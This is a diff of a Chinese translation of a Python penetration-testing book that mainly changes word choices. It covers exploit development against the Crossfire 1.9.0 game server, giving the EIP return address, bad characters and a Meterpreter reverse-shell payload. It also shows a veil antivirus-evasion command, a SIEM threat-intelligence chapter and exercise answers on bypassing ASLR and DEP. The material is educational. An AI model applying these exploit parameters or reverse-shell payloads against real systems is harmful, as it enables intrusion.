-*   应用程序识别为坏字符的字符集，这可能会妨碍我们利用漏洞的执行。
+*   应用识别为坏字符的字符集，这可能会妨碍我们利用漏洞的执行。
 *   所需的填充量。
 *   架构和操作系统细节。
 
 为了让攻击者获得上述项目，他们会执行一系列步骤，包括模糊化、偏移量计算、返回地址检查、坏字符检查等。如果已知前面的值，攻击者的下一步通常是生成一个编码的有效负载，并将其发送到服务并获得一个反向外壳。如果前面的值未知，Metasploit 将提供一个缓冲区溢出模板，在该模板中，可以插入并使用这些值，而无需我们从头开始编写自定义代码。
 
-讨论中的应用程序 Crossfire 已被模糊化并离线调试。根据模糊结果，获取的 EIP 返回地址或值为`0X0807b918`。换句话说，这意味着如果缓冲区溢出，利用漏洞代码将被放置在具有以下地址的位置：`0X0807b918`。此外，如上所述，指定的填充量为 300（空格）。我们还指定了坏字符：`\x00\x0a\x0d\x20`。除此之外，我们还指定平台为 Linux。
+讨论中的应用 Crossfire 已被模糊化并离线调试。根据模糊结果，获取的 EIP 返回地址或值为`0X0807b918`。换句话说，这意味着如果缓冲区溢出，利用漏洞代码将被放置在具有以下地址的位置：`0X0807b918`。此外，如上所述，指定的填充量为 300（空格）。我们还指定了坏字符：`\x00\x0a\x0d\x20`。除此之外，我们还指定平台为 Linux。
 
-请注意：坏字符是被测试程序的字符集无法识别的字符，因为它会使程序以意外的方式运行。为了找出正在测试的底层软件的常见错误字符，最成功的方法是反复试验。我通常要做的是找出常见错误字符，将所有唯一字符发送到应用程序，然后使用调试器检查在寄存器级别更改的字符。那些被改变的可以被编码和避免。
+请注意：坏字符是被测试程序的字符集无法识别的字符，因为它会使程序以意外的方式运行。为了找出正在测试的底层软件的常见错误字符，最成功的方法是反复试验。我通常要做的是找出常见错误字符，将所有唯一字符发送到应用，然后使用调试器检查在寄存器级别更改的字符。那些被改变的可以被编码和避免。
 
 因此，在第 43 行中，当我们调用`payload.invoke`命令时，Metasploit 在内部创建一个反向 MeterMeter TCP 负载并对其进行编码，该负载在端口`4444`处返回一个 shell。让我们试着看看这一点：
 
-1.  首先，让我们安装并启动 crossfire 应用程序。crossfire 应用程序的易受攻击版本可在以下 URL[找到 https://osdn.net/projects/sfnet_crossfire/downloads/crossfire-server/1.9.0/crossfire-1.9.0.tar.gz/](https://osdn.net/projects/sfnet_crossfire/downloads/crossfire-server/1.9.0/crossfire-1.9.0.tar.gz/) 。使用以下命令下载并解压缩它：
+1.  首先，让我们安装并启动 crossfire 应用。crossfire 应用的易受攻击版本可在以下 URL[找到 https://osdn.net/projects/sfnet_crossfire/downloads/crossfire-server/1.9.0/crossfire-1.9.0.tar.gz/](https://osdn.net/projects/sfnet_crossfire/downloads/crossfire-server/1.9.0/crossfire-1.9.0.tar.gz/) 。使用以下命令下载并解压缩它：
 
 ```
  tar zxpf crossfire.tar.gz
@@ -271,7 +271,7 @@ veil -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.
 
 # 总结
 
-在本章中，我们学习了如何开发定制的利用 web 和网络服务的方法。我们还讨论了如何从防病毒软件中规避攻击。此外，我们还研究了各种 web 漏洞，如 LFI 和 RFI，并讨论了如何提升这些漏洞以从受害者那里获得反向外壳。重要的是要理解，开发利用漏洞需要很好地理解潜在的漏洞，我们应该始终尝试进行可重用的通用利用漏洞。请随意修改我们讨论过的利用漏洞代码，使其成为通用代码，并在其他应用程序中试用。
+在本章中，我们学习了如何开发定制的利用 web 和网络服务的方法。我们还讨论了如何从防病毒软件中规避攻击。此外，我们还研究了各种 web 漏洞，如 LFI 和 RFI，并讨论了如何提升这些漏洞以从受害者那里获得反向外壳。重要的是要理解，开发利用漏洞需要很好地理解潜在的漏洞，我们应该始终尝试进行可重用的通用利用漏洞。请随意修改我们讨论过的利用漏洞代码，使其成为通用代码，并在其他应用中试用。
 
 在下一章中，我们将走出渗透测试生态系统，进一步了解**安全运营中心**（**SOC**）或网络安全监控生态系统。我们将了解什么是网络威胁情报，以及如何利用它来保护组织免受潜在威胁。我们还将了解网络威胁情报如何通过 SIEM 工具实现自动化，以补充检测能力。
 

trans/handson-pentest-py/14.md

 # 网络威胁情报
 
-到目前为止，这本书关注的是网络安全的攻击性方面。我们主要关注在渗透测试领域中使用 Python。在本章中，我们将尝试了解 Python 如何用于网络安全的防御方面。当我们谈到防御性网络安全时，我们想到的是监控。**S****安全运营中心**是监控团队常用的术语，负责持续监控组织的安全状况。该团队使用名为**安全信息和事件管理**（**SIEM**的工具），该工具充当聚合器，从需要监控的各种应用程序和设备收集日志。在聚合之上，SIEM 有一个规则引擎，其中配置了用于异常检测的各种规则。规则因组织而异，具体取决于业务上下文和要监视的日志。如今，我们通常有许多基于大数据集群的 SIEM 解决方案，这些解决方案使用机器学习算法，并由 AI 模型和规则引擎共同驱动，这使得监控更加有效。那么，网络威胁情报在这一切中的作用何在？在本章中，我们将了解这一点以及以下主题：
+到目前为止，这本书关注的是网络安全的攻击性方面。我们主要关注在渗透测试领域中使用 Python。在本章中，我们将尝试了解 Python 如何用于网络安全的防御方面。当我们谈到防御性网络安全时，我们想到的是监控。**S****安全运营中心**是监控团队常用的术语，负责持续监控组织的安全状况。该团队使用名为**安全信息和事件管理**（**SIEM**的工具），该工具充当聚合器，从需要监控的各种应用和设备收集日志。在聚合之上，SIEM 有一个规则引擎，其中配置了用于异常检测的各种规则。规则因组织而异，具体取决于业务上下文和要监视的日志。如今，我们通常有许多基于大数据集群的 SIEM 解决方案，这些解决方案使用机器学习算法，并由 AI 模型和规则引擎共同驱动，这使得监控更加有效。那么，网络威胁情报在这一切中的作用何在？在本章中，我们将了解这一点以及以下主题：
 
 *   网络威胁情报
 *   工具和 API
@@ -15,9 +15,9 @@
 
 **手动威胁情报**是手动收集情报并将其转化为可操作情报的过程。让我们举一个特定于组织的手动威胁情报的例子。
 
-在组织“X”的网络安全团队中工作的一名分析师非常了解组织内部的最高管理层、关键流程和关键应用程序。作为网络安全和情报团队的一员，该员工的职责之一是浏览深度/黑暗网络，寻找可能针对组织的潜在威胁。威胁的范围总是不同的。它可能包括泄露的电子邮件或黑暗网络上的痕迹，这可能会使组织感到震惊。另一个威胁可能是针对特定行业（如电信行业）的勒索软件的传播。如果员工检测到这一点，组织将提前得到通知，并可以加强针对勒索软件的防御机制
+在组织“X”的网络安全团队中工作的一名分析师非常了解组织内部的最高管理层、关键流程和关键应用。作为网络安全和情报团队的一员，该员工的职责之一是浏览深度/黑暗网络，寻找可能针对组织的潜在威胁。威胁的范围总是不同的。它可能包括泄露的电子邮件或黑暗网络上的痕迹，这可能会使组织感到震惊。另一个威胁可能是针对特定行业（如电信行业）的勒索软件的传播。如果员工检测到这一点，组织将提前得到通知，并可以加强针对勒索软件的防御机制
 
-手动威胁情报的另一个例子是收集与内部威胁相关的信息。对于一个拥有庞大员工基础和大量流程的组织来说，总是很难监控每个人。Siem 常常难以监控行为威胁。假设有一个服务器 X（web 服务器），它通常每天与服务器 Y（数据库）和服务器 Z（应用程序）通信。但是，观察到来自 SIEM 的一些跟踪，其中服务器 X 通过 SMB 端口`445`与服务器 a 通信。这种行为既奇怪又可疑。现在，为不同服务器之间的日常通信建立基线，并创建规则来检测异常，对于 SIEM 来说太难了，因为一个组织内通常有大量的系统。虽然现在有一些解决方案是建立在人工智能引擎和大数据之上的，用于进行这种异常检测，但手动威胁搜索目前仍然效果最好。这种手动识别组织内部异常的过程称为**内部威胁搜寻**。
+手动威胁情报的另一个例子是收集与内部威胁相关的信息。对于一个拥有庞大员工基础和大量流程的组织来说，总是很难监控每个人。Siem 常常难以监控行为威胁。假设有一个服务器 X（web 服务器），它通常每天与服务器 Y（数据库）和服务器 Z（应用）通信。但是，观察到来自 SIEM 的一些跟踪，其中服务器 X 通过 SMB 端口`445`与服务器 a 通信。这种行为既奇怪又可疑。现在，为不同服务器之间的日常通信建立基线，并创建规则来检测异常，对于 SIEM 来说太难了，因为一个组织内通常有大量的系统。虽然现在有一些解决方案是建立在人工智能引擎和大数据之上的，用于进行这种异常检测，但手动威胁搜索目前仍然效果最好。这种手动识别组织内部异常的过程称为**内部威胁搜寻**。
 
 # 自动威胁情报
 

trans/handson-pentest-py/16.md

@@ -28,14 +28,14 @@
 1.  我们可以使用一个名为`billiard`的 Python 库。它非常强大。
 2.  我们可能希望使用线程，我们不希望并行执行，但我们希望控制方法的执行。例如，如果我们希望一个方法 X 执行 10 秒，然后终止，我们可以用一个线程调用它并调用 join 10 秒。
 
-# 第 5 章，漏洞扫描程序 Python-第 1 部分
+# 第 5 章，漏洞扫描器 Python-第 1 部分
 
 1.  我们这样做是为了控制这些方法。我们通常希望方法 X 执行 N 秒，然后终止。同样的事情也可以通过线程和多处理的组合来更好地实现。
 2.  我们可以利用`multiprocess.pool`库来查看是否获得更好的结果，此外，增加处理器内核始终是一个不错的选择。
 3.  是的，还有另一个 Python Nmap 实用程序，名为`libnmap`：[https://libnmap.readthedocs.io/en/latest/process.html](https://libnmap.readthedocs.io/en/latest/process.html) 。
 4.  是的，我们可以。请对此进行更多探索。
 
-# 第 6 章，漏洞扫描程序 Python-第 2 部分
+# 第 6 章，漏洞扫描器 Python-第 2 部分
 
 1.  Msfrpc。尽管它是一个很好的实用程序，但当我在多个会话中同时调用它时，我个人遇到了一些问题。
 2.  尝试`Multiprocess.pool`模块，增加处理器内核。
@@ -50,13 +50,13 @@
 4.  人工智能模仿人脑并像神经元一样工作，而机器学习则不然。
 5.  深度攻击是攻击性安全社区中使用 ML 的工具之一，它充分利用了 PT 和 ML 域。
 
-# 第 8 章，自动化 Web 应用程序扫描-第 1 部分
+# 第 8 章，自动化 Web 应用扫描-第 1 部分
 
 1.  我们可以在 Jyton 中编写 Burp 套件扩展。
 2.  尝试使用简单的终端自动化来自动化 SQL-MAP Cli。
-3.  自动化的 web 应用程序扫描当然可以节省时间，但在质量上有一个权衡。此外，对于业务逻辑检查，没有自动化可以帮助。
+3.  自动化的 web 应用扫描当然可以节省时间，但在质量上有一个权衡。此外，对于业务逻辑检查，没有自动化可以帮助。
 
-# 第 9 章，自动化 Web 应用程序扫描-第 2 部分
+# 第 9 章，自动化 Web 应用扫描-第 2 部分
 
 1.  我们可以自动化 XSS 检测、SSL 剥离、参数污染等。
 2.  我们可以集成 Burp 套件 API 和我们的定制扫描仪，也可以使用 Burpsuite API 和 Nessus API。
@@ -66,13 +66,13 @@
 1.  Selenium 模拟了幽灵爬行，这对实现 JavaScript 和 Ajax 调用非常有帮助
 2.  我们可以将注入点作为结果，并开始使用 SQL、XSS 和其他有效负载对其进行模糊化。
 
-# 第 11 章，反向工程 Linux 应用程序
+# 第 11 章，反向工程 Linux 应用
 
 1.  我们可以探索终端自动化的方向，并尝试自动化/控制 evans 调试器的执行，就像我们使用`pexpect`对 Metasploit automation 所做的那样。
 2.  我们应该更多地探索如何规避 ASRL 保护。
 3.  这将是一个很好的起点：[https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-i](https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-i/) 。
 
-# 第 12 章，反向工程 Windows 应用程序
+# 第 12 章，反向工程 Windows 应用
 
 1.  同样，终端自动化是答案。此外，Olly debugger 附带了一个 Windows API，可用于实现自动化。
 2.  这是一个很好的起点：[https://bytesoverbombs.io/bypassing-dep-with-rop-32-bit-39884e8a2c4a](https://bytesoverbombs.io/bypassing-dep-with-rop-32-bit-39884e8a2c4a) 。
@@ -81,7 +81,7 @@
 # 第十三章开发利用
 
 1.  SQLI、XSS 和 CSRF 都可以使用所描述的方法进行开发。
-2.  我们可以使其尽可能通用，并针对多个应用程序进行尝试，以查看其有效性。
+2.  我们可以使其尽可能通用，并针对多个应用进行尝试，以查看其有效性。
 
 # 第 14 章，网络威胁情报